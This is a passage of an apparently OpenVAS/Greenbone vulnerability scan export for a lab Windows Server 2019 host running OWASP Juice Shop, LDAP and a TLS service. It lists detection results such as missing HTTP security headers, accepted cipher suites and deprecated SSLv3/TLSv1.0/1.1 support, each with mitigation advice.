  If you think any of this information is wrong please report it to the referenced community portal.|insight=|affected=|impact=|solution=|vuldetect=|solution_type=						1.3.6.1.4.1.25623.1.0.111038		2022-03-24T09:16:49Z		Log		0		80				The Hostname/IP "192.168.186.128" was used to access the remote host.



Generic web application scanning is disabled for this host via the "Enable generic web application scanning" option within the "Global variable settings" of the scan config in use.



The service is responding with a 200 HTTP status code to non-existent files/urls. The following pattern is used to work around possible false detections:

-----

OWASP Juice Shop

-----



Requests to this service are done via HTTP/1.1.



This service seems to be able to host PHP scripts.



This service seems to be able to host ASP scripts.



The User-Agent "Mozilla/5.0 [en] (X11, U; OpenVAS-VT 21.4.4)" was used to access the remote host.



Historic /scripts and /cgi-bin are not added to the directories used for CGI scanning. You can enable this again with the "Add historic /scripts and /cgi-bin to directories for CGI scanning" option within the "Global variable settings" of the scan config in use.



The following directories were used for CGI scanning:



http://192.168.186.128:3000/



While this is not, in and of itself, a bug, you should manually inspect these directories to ensure that they are in compliance with company security standards		Log		0		6b7eb6bc-facc-439b-9243-ae35678f25d9		url		https://community.greenbone.net/c/vulnerability-tests

		Response Time / No 404 Error Code Check		admin		2022-07-26T17:27:20Z				2022-07-26T17:27:20Z		5beee537-abc3-450f-a29f-85c37c01c0e0		Microsoft Server 2019		7b346187-ce2c-4a19-bfda-3ed85c1ff056		5ae02c5b-3c7d-4c24-b199-2e481eba9cc2		WIN-SERV-19-DC		192.168.186.128		3000/tcp		nvt		Response Time / No 404 Error Code Check		Web Servers		0				2006-03-26T15:55:15Z		0		AV:N/AC:L/Au:N/C:N/I:N/A:N		cvss_base_v2		0		cvss_base_vector=AV:N/AC:L/Au:N/C:N/I:N/A:N|summary=This VT tests if the remote web server does not reply with a 404

  error code and checks if it is replying to the scanners requests in a reasonable amount of time.|insight=This web server might show the following issues:



  - it is [mis]configured in that it does not return '404 Not Found' error codes when a non-existent

  file is requested, perhaps returning a site map, search page, authentication page or redirect instead.



  The Scanner might enabled some counter measures for that, however they might be insufficient. If a

  great number of security issues are reported for this port, they might not all be accurate.



  - it doesn't response in a reasonable amount of time to various HTTP requests sent by this VT.



  In order to keep the scan total time to a reasonable amount, the remote web server might not be

  tested. If the remote server should be tested it has to be fixed to have it reply to the scanners

  requests in a reasonable amount of time.



  Alternatively the 'Maximum response time (in seconds)' preference could be raised to a higher

  value if longer scan times are accepted.|affected=|impact=|solution=|vuldetect=|solution_type=						1.3.6.1.4.1.25623.1.0.10386		2020-11-27T13:32:50Z		Log		0		80				The service is responding with a 200 HTTP status code to non-existent files/urls. The following pattern is used to work around possible false detections:

-----

OWASP Juice Shop

-----		Log		0		0e367d1f-e07e-4d0a-a5aa-4a0320f31626

		robot(s).txt exists on the Web Server		admin		2022-07-26T20:54:19Z				2022-07-26T20:54:19Z		5beee537-abc3-450f-a29f-85c37c01c0e0		Microsoft Server 2019		7b346187-ce2c-4a19-bfda-3ed85c1ff056		5ae02c5b-3c7d-4c24-b199-2e481eba9cc2		WIN-SERV-19-DC		192.168.186.128		3000/tcp		nvt		robot(s).txt exists on the Web Server		Web application abuses		0				2005-11-03T13:08:04Z		0		AV:N/AC:L/Au:N/C:N/I:N/A:N		cvss_base_v2		0		cvss_base_vector=AV:N/AC:L/Au:N/C:N/I:N/A:N|summary=Web Servers can use a file called /robot(s).txt to ask search engines

  to ignore certain files and directories. By nature this file can not be used to protect private files

  from public read access.|insight=Any serious web search engine will honor the /robot(s).txt file

  and not scan the files and directories listed there.



  Any entries listed in this file are not even hidden anymore.|affected=|impact=|solution=Review the content of the /robot(s).txt file and consider removing the

  files from the server or protect them in other ways in case you actually intended non-public availability.|vuldetect=|solution_type=Mitigation		Mitigation		Review the content of the /robot(s).txt file and consider removing the

  files from the server or protect them in other ways in case you actually intended non-public availability.		1.3.6.1.4.1.25623.1.0.10302		2020-08-24T15:18:35Z		Log		0		80				The file 'http://192.168.186.128:3000/robots.txt' contains the following:



User-agent: *

Disallow: /ftp		Log		0		98a4bbd7-5001-4646-ad04-ed4f9cf70cbb		url		https://www.robotstxt.org/		url		https://www.robotstxt.org/norobots-rfc.txt

		Services		admin		2022-07-26T17:21:19Z				2022-07-26T17:21:19Z		5beee537-abc3-450f-a29f-85c37c01c0e0		Microsoft Server 2019		7b346187-ce2c-4a19-bfda-3ed85c1ff056		5ae02c5b-3c7d-4c24-b199-2e481eba9cc2		WIN-SERV-19-DC		192.168.186.128		3000/tcp		nvt		Services		Service detection		0				2011-01-14T09:12:23Z		0		AV:N/AC:L/Au:N/C:N/I:N/A:N		cvss_base_v2		0		cvss_base_vector=AV:N/AC:L/Au:N/C:N/I:N/A:N|summary=This routine attempts to guess which service is running on the

  remote ports. For instance, it searches for a web server which could listen on another port than

  80 or 443 and makes this information available for other check routines.|insight=|affected=|impact=|solution=|vuldetect=|solution_type=						1.3.6.1.4.1.25623.1.0.10330		2021-03-15T10:42:03Z		Log		0		80				A web server is running on this port		Log		0		051121a1-5c35-4d2d-b886-9143f3fffd07

		HTTP Security Headers Detection		admin		2022-07-26T20:53:48Z				2022-07-26T20:53:48Z		5beee537-abc3-450f-a29f-85c37c01c0e0		Microsoft Server 2019		7b346187-ce2c-4a19-bfda-3ed85c1ff056		5ae02c5b-3c7d-4c24-b199-2e481eba9cc2		WIN-SERV-19-DC		192.168.186.128		3000/tcp		nvt		HTTP Security Headers Detection		Web application abuses		0				2017-10-13T11:12:41Z		0		AV:N/AC:L/Au:N/C:N/I:N/A:N		cvss_base_v2		0		cvss_base_vector=AV:N/AC:L/Au:N/C:N/I:N/A:N|summary=All known security headers are being checked on the remote web

  server.



  On completion a report will hand back whether a specific security header has been implemented

  (including its value and if it is deprecated) or is missing on the target.|insight=|affected=|impact=|solution=|vuldetect=|solution_type=						1.3.6.1.4.1.25623.1.0.112081		2021-07-14T06:19:43Z		Log		0		80				Header Name            | Header Value

---------------------------------------

Feature-Policy         | payment 'self'

X-Content-Type-Options | nosniff

X-Frame-Options        | SAMEORIGIN



Missing Headers                   | More Information

--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

Content-Security-Policy           | https://owasp.org/www-project-secure-headers/#content-security-policy

Cross-Origin-Embedder-Policy      | https://scotthelme.co.uk/coop-and-coep/, Note: This is an upcoming header

Cross-Origin-Opener-Policy        | https://scotthelme.co.uk/coop-and-coep/, Note: This is an upcoming header

Cross-Origin-Resource-Policy      | https://scotthelme.co.uk/coop-and-coep/, Note: This is an upcoming header

Document-Policy                   | https://w3c.github.io/webappsec-feature-policy/document-policy#document-policy-http-header

Permissions-Policy                | https://w3c.github.io/webappsec-feature-policy/#permissions-policy-http-header-field

Referrer-Policy                   | https://owasp.org/www-project-secure-headers/#referrer-policy

Sec-Fetch-Dest                    | https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers#fetch_metadata_request_headers, Note: This is a new header supported only in newer browsers like e.g. Firefox 90

Sec-Fetch-Mode                    | https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers#fetch_metadata_request_headers, Note: This is a new header supported only in newer browsers like e.g. Firefox 90

Sec-Fetch-Site                    | https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers#fetch_metadata_request_headers, Note: This is a new header supported only in newer browsers like e.g. Firefox 90

Sec-Fetch-User                    | https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers#fetch_metadata_request_headers, Note: This is a new header supported only in newer browsers like e.g. Firefox 90

X-Permitted-Cross-Domain-Policies | https://owasp.org/www-project-secure-headers/#x-permitted-cross-domain-policies

X-XSS-Protection                  | https://owasp.org/www-project-secure-headers/#x-xss-protection, Note: Most major browsers have dropped / deprecated support for this header in 2020.		Log		0		b02b910e-7ebf-4130-ad00-6cdea591e5ac		url		https://owasp.org/www-project-secure-headers/		url		https://owasp.org/www-project-secure-headers/#div-headers		url		https://securityheaders.com/

		LDAP Detection		admin		2022-07-26T17:25:55Z				2022-07-26T17:25:55Z		5beee537-abc3-450f-a29f-85c37c01c0e0		Microsoft Server 2019		7b346187-ce2c-4a19-bfda-3ed85c1ff056		5ae02c5b-3c7d-4c24-b199-2e481eba9cc2		WIN-SERV-19-DC		192.168.186.128		3268/tcp		nvt		LDAP Detection		Service detection		0				2009-03-27T11:39:47Z		0		AV:N/AC:L/Au:N/C:N/I:N/A:N		cvss_base_v2		0		cvss_base_vector=AV:N/AC:L/Au:N/C:N/I:N/A:N|summary=A LDAP Server is running at this host.



  The Lightweight Directory Access Protocol, or LDAP is an application

  protocol for querying and modifying directory services running over

  TCP/IP.|insight=|affected=|impact=|solution=|vuldetect=|solution_type=						1.3.6.1.4.1.25623.1.0.100082		2020-11-10T15:30:28Z		Log		0		80				The LDAP Server supports LDAPv3.		Log		0		e9d3afd7-e61b-4bc8-a4b6-0dd829284a54

		SSL/TLS: Report Supported Cipher Suites		admin		2022-07-26T19:03:18Z				2022-07-26T19:03:18Z		5beee537-abc3-450f-a29f-85c37c01c0e0		Microsoft Server 2019		7b346187-ce2c-4a19-bfda-3ed85c1ff056		5ae02c5b-3c7d-4c24-b199-2e481eba9cc2		WIN-SERV-19-DC		192.168.186.128		3269/tcp		nvt		SSL/TLS: Report Supported Cipher Suites		SSL and TLS		0				2014-03-06T11:50:28Z		0		AV:N/AC:L/Au:N/C:N/I:N/A:N		cvss_base_v2		0		cvss_base_vector=AV:N/AC:L/Au:N/C:N/I:N/A:N|summary=This routine reports all SSL/TLS cipher suites accepted by a

  service.



  As the VT 'SSL/TLS: Check Supported Cipher Suites' (OID: 1.3.6.1.4.1.25623.1.0.900234) might run

  into a timeout the actual reporting of all accepted cipher suites takes place in this VT instead.|insight=|affected=|impact=|solution=|vuldetect=|solution_type=						1.3.6.1.4.1.25623.1.0.802067		2022-02-18T09:01:14Z		Log		0		98				No 'Strong' cipher suites accepted by this service via the SSLv3 protocol.



'Medium' cipher suites accepted by this service via the SSLv3 protocol:



TLS_RSA_WITH_3DES_EDE_CBC_SHA



No 'Weak' cipher suites accepted by this service via the SSLv3 protocol.



No 'Null' cipher suites accepted by this service via the SSLv3 protocol.



No 'Anonymous' cipher suites accepted by this service via the SSLv3 protocol.



No 'Strong' cipher suites accepted by this service via the TLSv1.0 protocol.



'Medium' cipher suites accepted by this service via the TLSv1.0 protocol:



TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA

TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA

TLS_RSA_WITH_3DES_EDE_CBC_SHA

TLS_RSA_WITH_AES_128_CBC_SHA

TLS_RSA_WITH_AES_256_CBC_SHA



No 'Weak' cipher suites accepted by this service via the TLSv1.0 protocol.



No 'Null' cipher suites accepted by this service via the TLSv1.0 protocol.



No 'Anonymous' cipher suites accepted by this service via the TLSv1.0 protocol.



No 'Strong' cipher suites accepted by this service via the TLSv1.1 protocol.



'Medium' cipher suites accepted by this service via the TLSv1.1 protocol:



TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA

TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA

TLS_RSA_WITH_3DES_EDE_CBC_SHA

TLS_RSA_WITH_AES_128_CBC_SHA

TLS_RSA_WITH_AES_256_CBC_SHA



No 'Weak' cipher suites accepted by this service via the TLSv1.1 protocol.



No 'Null' cipher suites accepted by this service via the TLSv1.1 protocol.



No 'Anonymous' cipher suites accepted by this service via the TLSv1.1 protocol.



No 'Strong' cipher suites accepted by this service via the TLSv1.2 protocol.



'Medium' cipher suites accepted by this service via the TLSv1.2 protocol:



TLS_DHE_RSA_WITH_AES_128_GCM_SHA256

TLS_DHE_RSA_WITH_AES_256_GCM_SHA384

TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA

TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256

TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256

TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA

TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384

TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384

TLS_RSA_WITH_3DES_EDE_CBC_SHA

TLS_RSA_WITH_AES_128_CBC_SHA

TLS_RSA_WITH_AES_128_CBC_SHA256

TLS_RSA_WITH_AES_128_GCM_SHA256

TLS_RSA_WITH_AES_256_CBC_SHA

TLS_RSA_WITH_AES_256_CBC_SHA256

TLS_RSA_WITH_AES_256_GCM_SHA384



No 'Weak' cipher suites accepted by this service via the TLSv1.2 protocol.



No 'Null' cipher suites accepted by this service via the TLSv1.2 protocol.



No 'Anonymous' cipher suites accepted by this service via the TLSv1.2 protocol.		Log		0		10198d77-5387-48ec-b458-784e6b51d2da

		SSL/TLS: Safe/Secure Renegotiation Support Status		admin		2022-07-26T19:03:18Z				2022-07-26T19:03:18Z		5beee537-abc3-450f-a29f-85c37c01c0e0		Microsoft Server 2019		7b346187-ce2c-4a19-bfda-3ed85c1ff056		5ae02c5b-3c7d-4c24-b199-2e481eba9cc2		WIN-SERV-19-DC		192.168.186.128		3269/tcp		nvt		SSL/TLS: Safe/Secure Renegotiation Support Status		SSL and TLS		0				2021-10-27T11:26:49Z		0		AV:N/AC:L/Au:N/C:N/I:N/A:N		cvss_base_v2		0		cvss_base_vector=AV:N/AC:L/Au:N/C:N/I:N/A:N|summary=Checks and reports if a remote SSL/TLS service supports

  safe/secure renegotiation.|insight=|affected=|impact=|solution=|vuldetect=|solution_type=						1.3.6.1.4.1.25623.1.0.117757		2021-11-12T09:42:39Z		Log		0		98				Protocol Version | Safe/Secure Renegotiation Support Status

---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

SSLv3            | Unknown, Reason: Scanner failed to negotiate an SSL/TLS connection (Either the scanner or the remote host is probably not supporting / accepting this SSL/TLS protocol version).

TLSv1.0          | Enabled, Note: While the remote service announces the support of safe/secure renegotiation it still might not support / accept renegotiation at all.

TLSv1.1          | Enabled, Note: While the remote service announces the support of safe/secure renegotiation it still might not support / accept renegotiation at all.

TLSv1.2          | Enabled, Note: While the remote service announces the support of safe/secure renegotiation it still might not support / accept renegotiation at all.

TLSv1.3          | Unknown, Reason: Scanner failed to negotiate an SSL/TLS connection (Either the scanner or the remote host is probably not supporting / accepting this SSL/TLS protocol version).		Log		0		07814609-61bb-4db0-ac73-613f66eae2ac		url		https://www.gnutls.org/manual/html_node/Safe-renegotiation.html		url		https://wiki.openssl.org/index.php/TLS1.3#Renegotiation		url		https://datatracker.ietf.org/doc/html/rfc5746

		SSL/TLS: Deprecated TLSv1.0 and TLSv1.1 Protocol Detection		admin		2022-07-26T19:02:57Z				2022-07-26T19:02:57Z		5beee537-abc3-450f-a29f-85c37c01c0e0		Microsoft Server 2019		7b346187-ce2c-4a19-bfda-3ed85c1ff056		5ae02c5b-3c7d-4c24-b199-2e481eba9cc2		WIN-SERV-19-DC		192.168.186.128		3269/tcp		nvt		SSL/TLS: Deprecated TLSv1.0 and TLSv1.1 Protocol Detection		SSL and TLS		4.3				2021-03-25T10:41:42Z		4.3		AV:N/AC:M/Au:N/C:P/I:N/A:N		cvss_base_v2		4.3		cvss_base_vector=AV:N/AC:M/Au:N/C:P/I:N/A:N|summary=It was possible to detect the usage of the deprecated TLSv1.0

  and/or TLSv1.1 protocol on this system.|insight=The TLSv1.0 and TLSv1.1 protocols contain known cryptographic

  flaws like:



  - CVE-2011-3389: Browser Exploit Against SSL/TLS (BEAST)



  - CVE-2015-0204: Factoring Attack on RSA-EXPORT Keys Padding Oracle On Downgraded Legacy

  Encryption (FREAK)|affected=All services providing an encrypted communication using the

  TLSv1.0 and/or TLSv1.1 protocols.|impact=An attacker might be able to use the known cryptographic flaws

  to eavesdrop the connection between clients and the service to get access to sensitive data

  transferred within the secured connection.



  Furthermore newly uncovered vulnerabilities in this protocols won't receive security updates

  anymore.|solution=It is recommended to disable the deprecated TLSv1.0 and/or

  TLSv1.1 protocols in favor of the TLSv1.2+ protocols. Please see the references for more

  information.|vuldetect=Check the used TLS protocols of the services provided by this

  system.|solution_type=Mitigation		Mitigation		It is recommended to disable the deprecated TLSv1.0 and/or

  TLSv1.1 protocols in favor of the TLSv1.2+ protocols. Please see the references for more

  information.		1.3.6.1.4.1.25623.1.0.117274		2021-07-19T08:11:48Z		Medium		4.3		98				In addition to TLSv1.2+ the service is also providing the deprecated TLSv1.0 and TLSv1.1 protocols and supports one or more ciphers. Those supported ciphers can be found in the 'SSL/TLS: Report Supported Cipher Suites' (OID: 1.3.6.1.4.1.25623.1.0.802067) VT.		Medium		4.3		ce53bcdc-f280-4926-a89f-092038952c92		cve		CVE-2011-3389		cve		CVE-2015-0204		url		https://ssl-config.mozilla.org/		url		https://bettercrypto.org/		url		https://datatracker.ietf.org/doc/rfc8996/		url		https://vnhacker.blogspot.com/2011/09/beast.html		url		https://web.archive.org/web/20201108095603/https://censys.io/blog/freak		url		https://www.enisa.europa.eu/publications/algorithms-key-size-and-parameters-report-2014		cert-bund		CB-K18/0799		cert-bund		CB-K16/1289		cert-bund		CB-K16/1096		cert-bund		CB-K15/1751		cert-bund		CB-K15/1266		cert-bund		CB-K15/0850		cert-bund		CB-K15/0764		cert-bund		CB-K15/0720		cert-bund		CB-K15/0548		cert-bund		CB-K15/0526		cert-bund		CB-K15/0509		cert-bund		CB-K15/0493		cert-bund		CB-K15/0384		cert-bund		CB-K15/0365		cert-bund		CB-K15/0364		cert-bund		CB-K15/0302		cert-bund		CB-K15/0192		cert-bund		CB-K15/0079		cert-bund		CB-K15/0016		cert-bund		CB-K14/1342		cert-bund		CB-K14/0231		cert-bund		CB-K13/0845		cert-bund		CB-K13/0796		cert-bund		CB-K13/0790		dfn-cert		DFN-CERT-2020-0177		dfn-cert		DFN-CERT-2020-0111		dfn-cert		DFN-CERT-2019-0068		dfn-cert		DFN-CERT-2018-1441		dfn-cert		DFN-CERT-2018-1408		dfn-cert		DFN-CERT-2016-1372		dfn-cert		DFN-CERT-2016-1164		dfn-cert		DFN-CERT-2016-0388		dfn-cert		DFN-CERT-2015-1853		dfn-cert		DFN-CERT-2015-1332		dfn-cert		DFN-CERT-2015-0884		dfn-cert		DFN-CERT-2015-0800		dfn-cert		DFN-CERT-2015-0758		dfn-cert		DFN-CERT-2015-0567		dfn-cert		DFN-CERT-2015-0544		dfn-cert		DFN-CERT-2015-0530		dfn-cert		DFN-CERT-2015-0396		dfn-cert		DFN-CERT-2015-0375		dfn-cert		DFN-CERT-2015-0374		dfn-cert		DFN-CERT-2015-0305		dfn-cert		DFN-CERT-2015-0199		dfn-cert		DFN-CERT-2015-0079		dfn-cert		DFN-CERT-2015-0021		dfn-cert		DFN-CERT-2014-1414		dfn-cert		DFN-CERT-2013-1847		dfn-cert		DFN-CERT-2013-1792		dfn-cert		DFN-CERT-2012-1979		dfn-cert		DFN-CERT-2012-1829		dfn-cert		DFN-CERT-2012-1530		dfn-cert		DFN-CERT-2012-1380		dfn-cert		DFN-CERT-2012-1377		dfn-cert		DFN-CERT-2012-1292		dfn-cert		DFN-CERT-2012-1214		dfn-cert		DFN-CERT-2012-1213		dfn-cert		DFN-CERT-2012-1180		dfn-cert		DFN-CERT-2012-1156		dfn-cert		DFN-CERT-2012-1155		dfn-cert		DFN-CERT-2012-1039		dfn-cert		DFN-CERT-2012-0956		dfn-cert		DFN-CERT-2012-0908		dfn-cert		DFN-CERT-2012-0868		dfn-cert		DFN-CERT-2012-0867		dfn-cert		DFN-CERT-2012-0848		dfn-cert		DFN-CERT-2012-0838		dfn-cert		DFN-CERT-2012-0776		dfn-cert		DFN-CERT-2012-0722		dfn-cert		DFN-CERT-2012-0638		dfn-cert		DFN-CERT-2012-0627		dfn-cert		DFN-CERT-2012-0451		dfn-cert		DFN-CERT-2012-0418		dfn-cert		DFN-CERT-2012-0354		dfn-cert		DFN-CERT-2012-0234		dfn-cert		DFN-CERT-2012-0221		dfn-cert		DFN-CERT-2012-0177		dfn-cert		DFN-CERT-2012-0170		dfn-cert		DFN-CERT-2012-0146		dfn-cert		DFN-CERT-2012-0142		dfn-cert		DFN-CERT-2012-0126		dfn-cert		DFN-CERT-2012-0123		dfn-cert		DFN-CERT-2012-0095		dfn-cert		DFN-CERT-2012-0051		dfn-cert		DFN-CERT-2012-0047		dfn-cert		DFN-CERT-2012-0021		dfn-cert		DFN-CERT-2011-1953		dfn-cert		DFN-CERT-2011-1946		dfn-cert		DFN-CERT-2011-1844		dfn-cert		DFN-CERT-2011-1826		dfn-cert		DFN-CERT-2011-1774		dfn-cert		DFN-CERT-2011-1743		dfn-cert		DFN-CERT-2011-1738		dfn-cert		DFN-CERT-2011-1706		dfn-cert		DFN-CERT-2011-1628		dfn-cert		DFN-CERT-2011-1627		dfn-cert		DFN-CERT-2011-1619		dfn-cert		DFN-CERT-2011-1482

		SSL/TLS: Untrusted Certificate Detection		admin		2022-07-26T19:03:18Z				2022-07-26T19:03:18Z		5beee537-abc3-450f-a29f-85c37c01c0e0		Microsoft Server 2019		7b346187-ce2c-4a19-bfda-3ed85c1ff056		5ae02c5b-3c7d-4c24-b199-2e481eba9cc2		WIN-SERV-19-DC		192.168.186.128		3269/tcp		nvt		SSL/TLS: Untrusted Certificate Detection		SSL and TLS		0				2021-11-09T10:22:58Z		0		AV:N/AC:L/Au:N/C:N/I:N/A:N		cvss_base_v2		0		cvss_base_vector=AV:N/AC:L/Au:N/C:N/I:N/A:N|summary=Checks and reports if a remote SSL/TLS service is using a

  certificate which is untrusted / the verification against the system wide trust store has failed.|insight=|affected=|impact=|solution=|vuldetect=|solution_type=						1.3.6.1.4.1.25623.1.0.117764		2021-11-12T09:42:39Z		Log		0		98				The remote SSL/TLS server is using the following certificate(s) which failed the verification against the system wide trust store (serial:issuer):



66000000028DF13970CE9BBC1D000000000002:CN=DC-WIN-SERV-19-DC-CA,DC=DC,DC=local (Server certificate)		Log		0		357808d2-740c-4955-ac92-1a6ab4545805

		SSL/TLS: Deprecated SSLv2 and SSLv3 Protocol Detection		admin		2022-07-26T19:02:57Z				2022-07-26T19:02:57Z		5beee537-abc3-450f-a29f-85c37c01c0e0		Microsoft Server 2019		7b346187-ce2c-4a19-bfda-3ed85c1ff056		5ae02c5b-3c7d-4c24-b199-2e481eba9cc2		WIN-SERV-19-DC		192.168.186.128		3269/tcp		nvt		SSL/TLS: Deprecated SSLv2 and SSLv3 Protocol Detection		SSL and TLS		5.9		NVD		2018-11-30T21:31:00Z		5.9		CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N		cvss_base_v3		5.9		cvss_base_vector=CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N|summary=It was possible to detect the usage of the deprecated SSLv2

  and/or SSLv3 protocol on this system.|insight=The SSLv2 and SSLv3 protocols contain known cryptographic

  flaws like:



  - CVE-2014-3566: Padding Oracle On Downgraded Legacy Encryption (POODLE)



  - CVE-2016-0800: Decrypting RSA with Obsolete and Weakened eNcryption (DROWN)|affected=All services providing an encrypted communication using the

  SSLv2 and/or SSLv3 protocols.|impact=An attacker might be able to use the known cryptographic flaws to

  eavesdrop the connection between clients and the service to get access to sensitive data

  transferred within the secured connection.



  Furthermore newly uncovered vulnerabilities in this protocols won't receive security updates

  anymore.|solution=It is recommended to disable the deprecated SSLv2 and/or SSLv3

  protocols in favor of the TLSv1.2+ protocols. Please see the references for more information.|vuldetect=Check the used SSL protocols of the services provided by this

  system.|solution_type=Mitigation		Mitigation		It is recommended to disable the deprecated SSLv2 and/or SSLv3

  protocols in favor of the TLSv1.2+ protocols. Please see the references for more information.		1.3.6.1.4.1.25623.1.0.111012		2021-10-15T12:51:02Z		Medium		5.9		98				In addition to TLSv1.0+ the service is also providing the deprecated SSLv3 protocol and supports one or more ciphers. Those supported ciphers can be found in the 'SSL/TLS: Report Supported Cipher Suites' (OID: 1.3.6.1.4.1.25623.1.0.802067) VT.		Medium		5.9		ff46bc87-f2a4-4686-bae1-c88b4b749271		cve		CVE-2016-0800		cve		CVE-2014-3566		url		https://ssl-config.mozilla.org/		url		https://bettercrypto.org/		url		https://drownattack.com/		url		https://www.imperialviolet.org/2014/10/14/poodle.html		url		https://www.enisa.europa.eu/publications/algorithms-key-size-and-parameters-report-2014		cert-bund		CB-K18/0094		cert-bund		CB-K17/1198		cert-bund		CB-K17/1196		cert-bund		CB-K16/1828		cert-bund		CB-K16/1438		cert-bund		CB-K16/1384		cert-bund		CB-K16/1141		cert-bund		CB-K16/1107		cert-bund		CB-K16/1102		cert-bund		CB-K16/0792		cert-bund		CB-K16/0599		cert-bund		CB-K16/0597		cert-bund		CB-K16/0459		cert-bund		CB-K16/0456		cert-bund		CB-K16/0433		cert-bund		CB-K16/0424		cert-bund		CB-K16/0415		cert-bund		CB-K16/0413		cert-bund		CB-K16/0374		cert-bund		CB-K16/0367		cert-bund		CB-K16/0331		cert-bund		CB-K16/0329		cert-bund		CB-K16/0328		cert-bund		CB-K16/0156		cert-bund		CB-K15/1514		cert-bund		CB-K15/1358		cert-bund		CB-K15/1021		cert-bund		CB-K15/0972		cert-bund		CB-K15/0637		cert-bund		CB-K15/0590		cert-bund		CB-K15/0525		cert-bund		CB-K15/0393		cert-bund		CB-K15/0384		cert-bund		CB-K15/0287		cert-bund		CB-K15/0252		cert-bund		CB-K15/0246		cert-bund		CB-K15/0237		cert-bund		CB-K15/0118		cert-bund		CB-K15/0110		cert-bund		CB-K15/0108		cert-bund		CB-K15/0080		cert-bund		CB-K15/0078		cert-bund		CB-K15/0077		cert-bund		CB-K15/0075		cert-bund		CB-K14/1617		cert-bund		CB-K14/1581		cert-bund		CB-K14/1537		cert-bund		CB-K14/1479		cert-bund		CB-K14/1458		cert-bund		CB-K14/1342		cert-bund		CB-K14/1314		cert-bund		CB-K14/1313		cert-bund		CB-K14/1311		cert-bund		CB-K14/1304		cert-bund		CB-K14/1296		dfn-cert		DFN-CERT-2018-0096		dfn-cert		DFN-CERT-2017-1238		dfn-cert		DFN-CERT-2017-1236		dfn-cert		DFN-CERT-2016-1929		dfn-cert		DFN-CERT-2016-1527		dfn-cert		DFN-CERT-2016-1468		dfn-cert		DFN-CERT-2016-1216		dfn-cert		DFN-CERT-2016-1174		dfn-cert		DFN-CERT-2016-1168		dfn-cert		DFN-CERT-2016-0884		dfn-cert		DFN-CERT-2016-0841		dfn-cert		DFN-CERT-2016-0644		dfn-cert		DFN-CERT-2016-0642		dfn-cert		DFN-CERT-2016-0496		dfn-cert		DFN-CERT-2016-0495		dfn-cert		DFN-CERT-2016-0465		dfn-cert		DFN-CERT-2016-0459		dfn-cert		DFN-CERT-2016-0453		dfn-cert		DFN-CERT-2016-0451		dfn-cert		DFN-CERT-2016-0415		dfn-cert		DFN-CERT-2016-0403		dfn-cert		DFN-CERT-2016-0388		dfn-cert		DFN-CERT-2016-0360		dfn-cert		DFN-CERT-2016-0359		dfn-cert		DFN-CERT-2016-0357		dfn-cert		DFN-CERT-2016-0171		dfn-cert		DFN-CERT-2015-1431		dfn-cert		DFN-CERT-2015-1075		dfn-cert		DFN-CERT-2015-1026		dfn-cert		DFN-CERT-2015-0664		dfn-cert		DFN-CERT-2015-0548		dfn-cert		DFN-CERT-2015-0404		dfn-cert		DFN-CERT-2015-0396		dfn-cert		DFN-CERT-2015-0259		dfn-cert		DFN-CERT-2015-0254		dfn-cert		DFN-CERT-2015-0245		dfn-cert		DFN-CERT-2015-0118		dfn-cert		DFN-CERT-2015-0114		dfn-cert		DFN-CERT-2015-0083		dfn-cert		DFN-CERT-2015-0082		dfn-cert		DFN-CERT-2015-0081		dfn-cert		DFN-CERT-2015-0076		dfn-cert		DFN-CERT-2014-1717		dfn-cert		DFN-CERT-2014-1680		dfn-cert		DFN-CERT-2014-1632		dfn-cert		DFN-CERT-2014-1564		dfn-cert		DFN-CERT-2014-1542		dfn-cert		DFN-CERT-2014-1414		dfn-cert		DFN-CERT-2014-1366		dfn-cert		DFN-CERT-2014-1354

		Services		admin		2022-07-26T17:21:19Z				2022-07-26T17:21:19Z		5beee537-abc3-450f-a29f-85c37c01c0e0		Microsoft Server 2019		7b346187-ce2c-4a19-bfda-3ed85c1ff056		5ae02c5b-3c7d-4c24-b199-2e481eba9cc2		WIN-SERV-19-DC		192.168.186.128		3269/tcp		nvt		Services		Service detection		0				2011-01-14T09:12:23Z		0		AV:N/AC:L/Au:N/C:N/I:N/A:N		cvss_base_v2		0		cvss_base_vector=AV:N/AC:L/Au:N/C:N/I:N/A:N|summary=This routine attempts to guess which service is running on the

  remote ports. For instance, it searches for a web server which could listen on another port than

  80 or 443 and makes this information available for other check routines.|insight=|affected=|impact=|solution=|vuldetect=|solution_type=						1.3.6.1.4.1.25623.1.0.10330		2021-03-15T10:42:03Z		Log		0		80				A TLScustom server answered on this port		Log		0		bcf5b3a8-6553-43f2-937f-0f2709e16035

		SSL/TLS: Version Detection		admin		2022-07-26T17:26:55Z				2022-07-26T17:26:55Z		5beee537-abc3-450f-a29f-85c37c01c0e0		Microsoft Server 2019		7b346187-ce2c-4a19-bfda-3ed85c1ff056		5ae02c5b-3c7d-4c24-b199-2e481eba9cc2		WIN-SERV-19-DC		192.168.186.128		3269/tcp		nvt		SSL/TLS: Version Detection		SSL and TLS		0				2016-06-29T08:54:20Z		0		AV:N/AC:L/Au:N/C:N/I:N/A:N		cvss_base_v2		0		cvss_base_vector=AV:N/AC:L/Au:N/C:N/I:N/A:N|summary=Enumeration and reporting of SSL/TLS protocol versions supported

  by a remote service.|insight=|affected=|impact=|solution=|vuldetect=Sends multiple connection requests to the remote service and

  attempts to determine the SSL/TLS protocol versions supported by the service from the replies.



  Note: The supported SSL/TLS protocol versions included in the report of this VT are reported

  independently from the allowed / supported SSL/TLS ciphers.|solution_type=						1.3.6.1.4.1.25623.1.0.105782		2021-12-06T15:42:24Z		Log		0		80				The remote SSL/TLS service supports the following SSL/TLS protocol version(s):



SSLv3

